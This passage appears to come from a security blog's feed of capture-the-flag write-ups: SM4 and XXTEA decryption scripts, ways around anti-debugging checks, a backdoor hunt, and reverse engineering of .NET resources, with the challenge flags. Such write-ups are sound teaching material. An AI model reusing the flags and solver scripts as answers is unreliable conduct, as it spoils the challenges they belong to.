    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

# 自定义S盒
SBox = [
    0xD1, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6,
    0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76,
    0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86,
    0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A,
    0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3,
    0x17, 0xA9, 0x1C, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA,
    0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0x4F, 0xF3, 0x73,
    0x71, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0xD6, 0xA8,
    0x68, 0x6B, 0x81, 0xB2, 0xFC, 0x64, 0xDA, 0x8B, 0xF8, 0xEB,
    0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x78,
    0x63, 0x58, 0x9F, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21,
    0xC9, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x5E, 0xD3, 0x27, 0x52,
    0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF,
    0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE,
    0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34,
    0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
    0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29,
    0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45,
    0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C,
    0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F,
    0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1,
    0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12,
    0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96,
    0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
    0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE,
    0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48
]

def left_rotate(n, b):
    return ((n &amp;#x3C;&amp;#x3C; b) | (n &gt;&gt; (32 - b))) &amp;#x26; 0xFFFFFFFF

def tau(b):
    a = b.to_bytes(4, &apos;big&apos;)
    a = [SBox[x] for x in a]
    return int.from_bytes(bytes(a), &apos;big&apos;)

def L(b):
    return b ^ left_rotate(b, 2) ^ left_rotate(b, 10) ^ left_rotate(b, 18) ^ left_rotate(b, 24)

def T(b):
    return L(tau(b))

def L_prime(b):
    return b ^ left_rotate(b, 13) ^ left_rotate(b, 23)

def T_prime(b):
    return L_prime(tau(b))

def sm4_key_expansion(key):
    MK = struct.unpack(&apos;&gt;4I&apos;, key)
    K = [0] * 36
    K[0] = MK[0] ^ FK[0]
    K[1] = MK[1] ^ FK[1]
    K[2] = MK[2] ^ FK[2]
    K[3] = MK[3] ^ FK[3]
    rk = [0] * 32
    for i in range(32):
        tmp = K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]
        tmp = T_prime(tmp)
        K[i+4] = K[i] ^ tmp
        rk[i] = K[i+4]
    return rk

def sm4_decrypt(ciphertext, rk):
    x = list(struct.unpack(&apos;&gt;4I&apos;, ciphertext))
    for i in range(32):
        rk_i = rk[i]
        tmp = x[i+1] ^ x[i+2] ^ x[i+3] ^ rk_i
        tmp = T(tmp)
        x.append(x[i] ^ tmp)
    return struct.pack(&apos;&gt;4I&apos;, x[35], x[34], x[33], x[32])

# 输入数据
key = bytes([0x4E, 0x43, 0x54, 0x46, 0x32, 0x34, 0x6E, 0x63, 0x74, 0x66,
  0x4E, 0x43, 0x54, 0x46, 0x32, 0x34])
cipher = bytes([0xFB, 0x97, 0x3C, 0x3B, 0xF1, 0x99, 0x12, 0xDF, 0x13, 0x30,
  0xF7, 0xD8, 0x7F, 0xEB, 0xA0, 0x6C, 0x14, 0x5B, 0xA6, 0x2A,
  0xA8, 0x05, 0xA5, 0xF3, 0x76, 0xBE, 0xC9, 0x01, 0xF9, 0x36,
  0x7B, 0x46])

# 生成轮密钥并反转
rk = sm4_key_expansion(key)
dec_rk = rk[::-1]

# 分块解密
block1 = cipher[:16]
block2 = cipher[16:]
plain1 = sm4_decrypt(block1, dec_rk)
plain2 = sm4_decrypt(block2, dec_rk)
plain = plain1 + plain2

print(&quot;Decrypted:&quot;, plain)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p class=&quot;center&quot;&gt;&lt;code&gt;NCTF{58cb925e0cd823c0d0b54fd06b820b7e}&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;571&quot; height=&quot;61&quot; src=&quot;https://sh10rl.top/_astro/YkDubyWsZonkh6xrEIpcPKzpndc.cNDPA-WV_hMzwi.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;appendix&quot;&gt;Appendix&lt;/h2&gt;
&lt;p&gt;Standard SBox for SM4：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F
00 | D6 90 E9 FE CC E1 3D B7 16 B6 14 C2 28 FB 2C 05
10 | 2B 67 9A 76 2A BE 04 C3 AA 44 13 26 49 86 06 99
20 | 9C 42 50 F4 91 EF 98 7A 33 54 0B 43 ED CF AC 62
30 | E4 B3 1C A9 C9 08 E8 95 80 DF 94 FA 75 8F 3F A6
40 | 47 07 A7 FC F3 73 17 BA 83 59 3C 19 E6 85 4F A8
50 | 68 6B 81 B2 71 64 DA 8B F8 EB 0F 4B 70 56 9D 35
60 | 1E 24 0E 5E 63 58 D1 A2 25 22 7C 3B 01 21 78 87
70 | D4 00 46 57 9F D3 27 52 4C 36 02 E7 A0 C4 C8 9E
80 | EA BF 8A D2 40 C7 38 B5 A3 F7 F2 CE F9 61 15 A1
90 | E0 AE 5D A4 9B 34 1A 55 AD 93 32 30 F5 8C B1 E3
A0 | 1D F6 E2 2E 82 66 CA 60 C0 29 23 AB 0D 53 4E 6F
B0 | D5 DB 37 45 DE FD 8E 2F 03 FF 6A 72 6D 6C 5B 51
C0 | 8D 1B AF 92 BB DD BC 7F 11 D9 5C 41 1F 10 5A D8
D0 | 0A C1 31 88 A5 CD 7B BD 2D 74 D0 12 B8 E5 B4 B0
E0 | 89 69 97 4A 0C 96 77 7E 65 B9 F1 09 C5 6E C6 84
F0 | 18 F0 7D EC 3A DC 4D 20 79 EE 5F 3E D7 CB 39 48&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;structure-i-used&quot; class=&quot;h4&quot;&gt;Structure I used&lt;/h3&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;void NTAPI TlsCallback(
    PVOID DllHandle,
    DWORD Reason,
    PVOID Reserved
);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded><category>CTF</category></item><item><title>Hgame 2025 week 2</title><link>https://sh10rl.top/posts/hgame-week2-writeup/</link><guid isPermaLink="true">https://sh10rl.top/posts/hgame-week2-writeup/</guid><description>Hgame 2025 week 2 writeup</description><pubDate>Wed, 05 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;Alias: Sh10l (个人赛事)&lt;/li&gt;
&lt;li&gt;Status: re -1; crypto 1; misc 2;&lt;/li&gt;
&lt;li&gt;Rank: 2&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;signin&quot;&gt;signin&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;硬件断点反调试&lt;/li&gt;
&lt;li&gt;CRC校验——分别生成从main开始的四块CRC值：
&lt;img alt=&quot;img&quot; width=&quot;634&quot; height=&quot;53&quot; src=&quot;https://sh10rl.top/_astro/1753535091919-97.BeZ6Pfdo_Z2KuKa.webp&quot;&gt;&lt;/li&gt;
&lt;li&gt;输入flag长度43，取36字节为&lt;code&gt;FlagBody&lt;/code&gt;传入XXTEA&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;不断调试：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;579&quot; height=&quot;445&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-98.BHSFvY4e_cBoiN.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;这四个CRC值作为Key传入XXTEA&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sum&lt;/code&gt;应该永远等于&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要正确CRC值，要下两处&lt;strong&gt;硬件****断点&lt;/strong&gt;，才能不改变代码块内容，一处下在这里：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;753&quot; height=&quot;435&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-99.IdeP6-48_1UUNl.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;一处下在这里：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;678&quot; height=&quot;270&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-100.C_hU7XKd_ZFQSz4.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;通过改&lt;code&gt;ZF&lt;/code&gt;过反调试&lt;/p&gt;
&lt;p&gt;取出CRC值——&lt;code&gt;dword_7FF765C7B2A0&lt;/code&gt;：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;97A25FB5h, 0E1756DBAh, 0A143464Ah, 5A8F284Fh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;stdint.h&gt;

// 解密函数
void XXTEA_decrypt(uint32_t *v, int n, const uint32_t key[4]) {
    if (n &amp;#x3C; 2) return;  // At least two elements
    uint32_t y, z, sum, e;
    int p = 8;
    int q = 11;
    sum = 0;
    y = v[0];  // |  z(&gt;&gt;5  &amp;#x3C;&amp;#x3C;4)  |  v[p]  |  y(&gt;&gt;3  &amp;#x3C;&amp;#x3C;2) |
    do {
        e = (sum &gt;&gt; 2) &amp;#x26; 3;
        for (p = n - 1; p &gt; 0; p--) {
            z = v[p - 1];
            v[p] -= ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
            y = v[p];
        }
        z = v[n - 1];
        v[0] -= ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z));
        y = v[0];
        sum -= 0;
    } while (--q &gt; 0);
}

int main() {
    // 密钥（注意字节序转换）
    uint32_t key[4] = {
        0x97A25FB5,
        0xE1756DBA,
        0xA143464A,
        0x5A8F284F
    };

    // 密文（注意小端序转换）
    unsigned char cipher[] = {
        0x23,0xEA,0x50,0x30,0x00,0x4C,0x51,0x47,0xEE,0x9C,
        0x76,0x2B,0xD5,0xE6,0x94,0x17,0xED,0x2B,0xE4,0xB3,
        0xCB,0x36,0xD5,0x61,0xC0,0xC2,0xA0,0x7C,0xFE,0x67,
        0xD7,0x5E,0xAF,0xE0,0x79,0xC5
    };

    // 将字节数组转换为DWORD数组（假设为小端序）
    uint32_t *data = (uint32_t*)cipher;
    int data_len = sizeof(cipher)/4;

    // 执行解密
    XXTEA_decrypt(data, data_len, key);

    // 输出解密结果（字符串形式）
    printf(&quot;Decrypted Data:\n&quot;);
    for(int i=0; i&amp;#x3C;sizeof(cipher); i++) {
        printf(&quot;%c&quot;, cipher[i]);
    }
    printf(&quot;\n&quot;);

    return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;574&quot; height=&quot;68&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-101.Ds8IgwFI_qPL4N.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;computer-cleaner-plus&quot;&gt;&lt;strong&gt;Computer cleaner plus&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;想：
&lt;ol&gt;
&lt;li&gt;可能恶意进程还在运行&lt;/li&gt;
&lt;li&gt;有定时设定启动恶意文件&lt;/li&gt;
&lt;li&gt;有奇怪的服务启动恶意文件&lt;/li&gt;
&lt;li&gt;恶意文件很可能在进程中运行，但文件本体不存在&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;top&lt;/code&gt;或者&lt;code&gt;ps&lt;/code&gt;查看可疑进程&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;挨个排查，&lt;code&gt;top&lt;/code&gt;看运行时进程没什么问题，但在使用&lt;code&gt;ps&lt;/code&gt;时返回&lt;code&gt;Permission denied&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ls -lah /bin/ps&lt;/code&gt;发现没有执行权限 &lt;code&gt;chmod +x /bin/ps&lt;/code&gt;手动恢复 使用ps，出现后门文件：&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;792&quot; height=&quot;108&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-102.CNyZr0-e_Z1Af06r.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;hgame{B4ck_D0_oR}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;fast-and-frustrating&quot;&gt;&lt;strong&gt;Fast and frustrating&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;HKDF（HAMC-Based Key Derivation Function）是一种基于HMAC的密钥派生（扩展）算法&lt;/li&gt;
&lt;li&gt;.NET程序能够根据&lt;code&gt;Locale(语言环境)&lt;/code&gt;的不同加载不同的程序集资源:
&lt;ol&gt;
&lt;li&gt;主程序集资源：&lt;code&gt;FastAndFrustrating.Resources.resources&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;卫星程序集资源：&lt;code&gt;FastAndFrustdating.Resources.&lt;/code&gt;&lt;strong&gt;&lt;code&gt;vt&lt;/code&gt;&lt;/strong&gt;&lt;code&gt;.resources&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;程序将&lt;code&gt;UsrInput（27Bytes）&lt;/code&gt;作为&lt;code&gt;ikm&lt;/code&gt;（Input Key Meterial）传入&lt;code&gt;HKDF&lt;/code&gt;算法来扩展出&lt;code&gt;Key + IV&lt;/code&gt; 最后使用&lt;code&gt;AES_CBC&lt;/code&gt;算法解密&lt;code&gt;EncryptedFlag&lt;/code&gt; 算法到底是&lt;code&gt;AES-128&lt;/code&gt;还是&lt;code&gt;AES-256&lt;/code&gt;不能确定，所以&lt;code&gt;Key + IV&lt;/code&gt;可能是&lt;code&gt;32 + 16 Bytes&lt;/code&gt;或者&lt;code&gt;16 + 16 Bytes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;整体流程： 加载&lt;code&gt;Constrs&lt;/code&gt; → &lt;code&gt;b64decode&lt;/code&gt; → &lt;code&gt;GZip&lt;/code&gt;解压 → Json文件反序列化 → 求解方程组&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;Ax = b&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; → 解向量&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;x&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;与&lt;code&gt;UsrInput&lt;/code&gt;比较判断对错（猜出来的）
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;UsrInput&lt;/code&gt; → &lt;code&gt;HKDF(SHA256, ikm, TargetLength, Salt, Keyinfo)&lt;/code&gt;→ 分割派生密钥为&lt;code&gt;Key + IV&lt;/code&gt; → &lt;code&gt;AES_CBC(AESInstance, Cipher, Key, IV)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;有一个&lt;code&gt;Locale(语言环境)&lt;/code&gt;校验：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;./FastAndFrustrating.exe
No way! You must be a Vidar-Team member to run this app.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;要求语言为”vt”才能进入&lt;code&gt;Give me your key:&gt;&lt;/code&gt;阶段&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;b46Decoded = FromBase64(*(_QWORD *)(__GCSTATICS_Program_ + 8));&lt;/code&gt; 下断点，再次F8步进时出现如下错误：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Give me your key:&gt; U29tZVRoaW5nYWFhYWFhYWFhYWE=
Unhandled Exception: System.FormatException: The input is not a valid Base-64 string as it contains a non-base 64 character, more than two padding characters, or an illegal character among the padding characters.
   at System.Convert.FromBase64CharPtr(Char*, Int32) + 0xd0
   at System.Convert.FromBase64String(String) + 0x30
   at FastAndFrustrating.Program.Main(String[] args) + 0xfb
   at FastAndFrustrating!&amp;#x3C;BaseAddress&gt;+0x1762c0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;GCSTATICS_Program&lt;/code&gt;是：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;.data:00007FF71FF647A8 GCSTATICS_Program dq 2C78B000068h&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;2C78B000068h&lt;/code&gt;该地址只有在动态调试下才有效&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以动调进入地址2C78B000068h：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;debug050:000002C78B000068                 dq offset __GCStaticEEType_0111
debug050:000002C78B000070                 dq offset unk_2C78D810128
debug050:000002C78B000078                 dq offset unk_2C78D8101F8
debug050:000002C78B000080                 dq offset unk_2C78D810230&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;2C78D810128&lt;/code&gt;、&lt;code&gt;2C78D8101F8&lt;/code&gt;、&lt;code&gt;2C78D810230&lt;/code&gt;分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FakeConstrs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Flag is not here!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no_such_thing_go_somewhere_else&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;2C78D810128&lt;/code&gt;的&lt;code&gt;fakeConstrs&lt;/code&gt;并不是&lt;code&gt;base64&lt;/code&gt;编码，所以应该我无论怎么调试都会出现错误&lt;/p&gt;
&lt;p&gt;而在：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;  if ( *(&amp;#x26;___NONGCSTATICS_FastAndFrustrating_FastAndFrustrating_Program__ - 1) )
    _GetGCStaticBase_FastAndFrustrating_FastAndFrustrating_Program();&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;是从&lt;code&gt;staticbase&lt;/code&gt;里按照&lt;code&gt;locale&lt;/code&gt;提取数据的，我想，在静态数据初始化时， 正确的Base64字符串只有在正确的&lt;code&gt;Culture&lt;/code&gt;下才会被加载到&lt;code&gt;GCSTATICS_Program&lt;/code&gt;的位置。&lt;/p&gt;
&lt;p&gt;根据不同&lt;code&gt;CurrentUICulture&lt;/code&gt;加载不同资源，非&lt;code&gt;vt&lt;/code&gt;会加载假的&lt;/p&gt;
&lt;p&gt;所以要找到正确的”vt”资源，，在&lt;code&gt;Strings&lt;/code&gt;搜索&lt;code&gt;FakeConstrs&lt;/code&gt;，往下找，离正确数据不远：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1796&quot; height=&quot;883&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-103.SJoSBsWB_or37i.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Constrs`+ `EncryptedFlag`+ `KeyInfo&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;或者搜索&lt;code&gt;.resources&lt;/code&gt;文件的特征头 &lt;code&gt;CE CA EF BE&lt;/code&gt;：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2371&quot; height=&quot;339&quot; src=&quot;https://sh10rl.top/_astro/1753535091920-104.DoWadujs_1WBrto.webp&quot;&gt;&lt;/figure&gt;
&lt;/blockquote&gt;
&lt;p&gt;b64decode + 解压&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import base64
import gzip
from io import BytesIO

def decode_and_extract(b64_str):
    try:
        # Base64解码
        compressed_data = base64.b64decode(b64_str)
        
        # Gzip解压
        with gzip.GzipFile(fileobj=BytesIO(compressed_data)) as f:
            decompressed_data = f.read()
            
        return decompressed_data.decode(&apos;utf-8&apos;)  # 根据实际情况调整编码
    
    except Exception as e:
        print(f&quot;处理过程出错: {str(e)}&quot;)
        return None

# 原始数据
base64_str = &quot;&quot;&quot;
H4sIABh9j2cC/21Wy47bMAz8lWDPESBS7/7KYrHYFj32VvRS9N+rGVKynQSIZUtiOCI5JPX37dfX78+vt2+393e53+L6vfzW+y3YJMzPjNl8S7UdFQxjLuAjtfstze84xep8ZOjH/fZu6mSpk/WD3mSv9QAm2WsiSJ96AAApLSZtkHOikCjc1+E44WwDDmzYuuAXXLVPnJeQ2SZlTsbAPkzKDVtUlAmaeKYOLLMgcWzblGxQjl0NKHR/+3+KSwBUcIo6V9p8woBkgdiYOntyo56Dsl1oFkJz3i6VwwGwD6vwUqNyDBLntBCZ8Tk5P15CcXZm3MFJZo7GFQycY7hGWNfGiplUkGRQa9bDnBXqJ9CQz2ELyWaFqraBmOZpSCcbsdGxiSUSI7Qn2oUL6YDi7oF6UtytsmgTAx4FApUXEiA2hAx/Mdo4N06GHQHRK6urJY8xRgxJmELwZTOhwtMXj9rIllczjaYI5ObSi4BdkTbjD5udhErn+g4mlUbDPJ6k8OSdI3BTOwy7pI+R3QLj/kvbvzCnrN0AMiKZpkaklH0y3TTTA4xhHVcXBg+++nQteQnIlnmWbdUjppZ/oajHLDHnIIVDKNOtT3wnvV6YWOzwbsqiIT4HIeAgz+PubFzlKx/pzXcafqI55GfO64Ekm+V1b4jZ2BxEnTescyUvphIDgyS4SR+idUnZXXijhcRxrGaQ/yRP27Y2hjnGRXvL502R2l/UpbBT7UgzvWaberkjUrGakVepqNnlzbMoI2ecXR8e4qS2FA3FaJdOpNF8MJLAdGGb8ngqsUCYHF877/zbTcQqETUOq+ewojRPJiYVcx0k7eReBwmrN44X0Xn044kh6+2JRmLs5eSzXCyMkvoqEPHSUeUhk7xtGbvUyZ0sVTzx0PNgGHuRwSYvT9L0XGZfNqhryT2KhxrP1PMyZA55JT177jxMa/Abj6z1KOc7FHoimytf1encNaIVBuMhN1bhplhxeVb22aPG6/vKxm47hYLnUDquKuLFATi8MEhmQg8rcWtUo7gebAiXJrWC7qS+3MTUK0PeEV0XsLyuLZVRZCFCm2+PpMsnfXm1B69jkha14Tiwm4codjOadKOV1do5F4a3Jxn90XXngHkxlU3GejR4Me91vz34bW9YeapgDFBZlFo87l7nVvfMdZt1N0s9G9O+AACoJ2+BQjQQDjxkwFr7mFBvf37++PyOi3KSRs5LjZ3ZLmCqjBjtEqJUnWJjyEdkk5hTuEaLcFpSZ7Q6rypaxyBrW4H0ZKA5NqZiTh9260VMUypoANKyuV0KylcYIxZe6nhTLaOwIaiS9IO1u0Jw/n167t9/pH9jSPgLAAA=
&quot;&quot;&quot;

if __name__ == &quot;__main__&quot;:
    # 清理输入字符串（移除换行和空格）
    cleaned_str = base64_str
    
    # 执行解码解压
    result = decode_and_extract(cleaned_str)
    
    if result:
        print(&quot;解码解压结果：&quot;)
        print(result)  # 防止过长输出
        # 若要保存到文件：with open(&apos;output.txt&apos;, &apos;w&apos;) as f: f.write(result)
#{&quot;mat_a&quot;: [[1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 2, -1, 0, -2, 4, -12, 16, 2, -21, -29, 11, -37, 3, 104, 64, 192], [0, 1, 1, 0, 2, 1, 1, 1, -1, 3, -1, -1, -1, 0, -3, 0, -6, 18, 6, -23, -25, 3, -21, -25, 26, 156, -229], [0, -1, 0, 0, 0, -2, 0, 1, 2, 1, 0, 3, -1, -6, 3, -7, 30, -34, -7, 50, 99, -69, 147, -30, -241, -236, 188], [1, 1, 3, 1, 7, -1, 3, 4, 2, 10, -2, 6, -6, -8, -6, -1, 1, 35, 10, -34, 13, -65, 75, -98, -51, 197, 83], [0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 2, 0, -1, 4, 1, -1, 10, 0, 0, -7, 31, -56, 78, -58, -106, 53, -62], [-1, -1, 0, 0, -1, -1, 0, 1, 0, 0, 0, 0, 0, -3, 3, -6, 20, -21, -1, 29, 53, -35, 79, -23, -162, -90, -142], [0, 0, -1, 0, -1, 0, 0, -1, -1, -4, -2, 0, 1, -3, -2, 5, -16, 1, -1, 5, -48, 84, -116, 86, 148, -25, -72], [0, 1, 1, 0, -1, 1, 1, -1, -4, 0, -7, -2, 2, -13, -6, 0, -24, 5, 4, 14, -86, 151, -207, 132, 230, -30, -241], [0, 0, -2, 0, -1, 2, -1, -1, 0, -6, 4, -3, 1, 16, 0, 12, -26, 27, 0, -55, -75, 31, -94, 11, 192, 226, -94], [-1, -1, 0, 0, -2, -1, -1, 0, 0, 1, 2, -1, 1, 1, 6, -8, 24, -22, -1, 24, 63, -66, 112, -50, -180, -111, 37], [0, 0, 1, 0, 3, -1, 1, 3, 2, 5, 2, 2, -3, 1, 1, -6, 25, 2, 5, -10, 69, -119, 169, -134, -240, 124, -169], [0, 0, -2, -1, -3, 2, -2, -2, -1, -5, 3, -4, 3, 14, 2, 6, -24, 23, 4, -52, -86, 36, -114, 10, 234, 189, 62], [-2, 0, -1, 0, -5, 1, -2, -3, -4, -2, 3, -9, 6, 12, 8, -6, 8, -16, -1, 3, -4, -6, -1, -6, -39, -24, -244], [0, 0, -1, 0, -2, 1, -2, -1, 1, -3, 6, -2, 1, 15, 3, 7, -16, 26, 4, -56, -54, -13, -39, -39, 133, 221, 37], [0, 0, 0, 0, 0, 0, -1, 0, 2, 0, 5, -2, 1, 11, 4, -2, 21, -17, -9, 6, 73, -100, 151, -79, -212, -50, 68], [0, 0, 0, 0, 1, -1, 1, 0, 1, 1, -1, 2, -1, -4, 0, -2, 13, -17, -5, 29, 49, -23, 64, 2, -116, -135, 68], [0, 0, -1, -1, -5, 1, -2, -3, -2, -5, 0, -4, 5, 2, 3, -2, -2, -24, -6, 25, -17, 54, -70, 70, 66, -152, 40], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 6, 1, 5, -19, 